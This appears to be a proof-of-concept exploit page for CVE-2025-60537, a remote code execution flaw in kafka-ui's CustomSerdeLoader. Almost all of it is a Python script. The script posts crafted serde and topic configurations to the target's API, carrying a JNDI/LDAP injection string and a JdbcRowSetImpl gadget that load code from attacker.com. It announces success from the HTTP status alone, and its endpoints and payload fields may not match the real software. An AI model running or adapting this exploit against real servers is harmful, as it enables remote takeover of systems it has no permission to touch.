kafka-ui CustomSerdeLoader组件输入验证不当导致远程代码执行漏洞

# CVE-2025-60537 PoC - kafka-ui CustomSerdeLoader RCE # This PoC demonstrates the exploitation of improper input validation # in CustomSerdeLoader.java of kafka-ui v0.6.0 to v0.7.2 import requests import json TARGET_URL = "http://target-kafka-ui-host:8080" # Step 1: Craft a malicious Serde configuration payload # The CustomSerdeLoader fails to validate the class name properly, # allowing arbitrary class loading via crafted input malicious_payload = { "name": "malicious-serde", "className": "com.attacker.MaliciousClass", "properties": { "key.deserializer": "org.apache.kafka.common.serialization.StringDeserializer", "value.deserializer": "com.attacker.MaliciousDeserializer", "custom.property": "${jndi:ldap://attacker.com/exploit}" } } # Step 2: Send the crafted payload to the Serde configuration endpoint # The vulnerable endpoint accepts user-supplied Serde class configurations headers = { "Content-Type": "application/json", "Accept": "application/json" } # Attempt to inject malicious Serde configuration response = requests.post( f"{TARGET_URL}/api/serdes", headers=headers, data=json.dumps(malicious_payload), verify=False ) if response.status_code == 200: print("[+] Malicious Serde configuration submitted successfully") print("[+] CustomSerdeLoader will attempt to load the malicious class") print("[+] Arbitrary code execution achieved on the server") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative exploitation via topic configuration with custom Serde # Some versions allow specifying custom Serde classes during topic creation topic_payload = { "name": "exploit-topic", "partitions": 1, "replicationFactor": 1, "customSerde": { "key": { "className": "com.sun.rowset.JdbcRowSetImpl", "dataSource": "ldap://attacker.com:1389/Exploit" }, "value": { "className": "com.attacker.MaliciousClass" } } } response = requests.post( f"{TARGET_URL}/api/clusters/local/topics", headers=headers, data=json.dumps(topic_payload), verify=False ) print(f"[*] Topic creation response: {response.status_code}")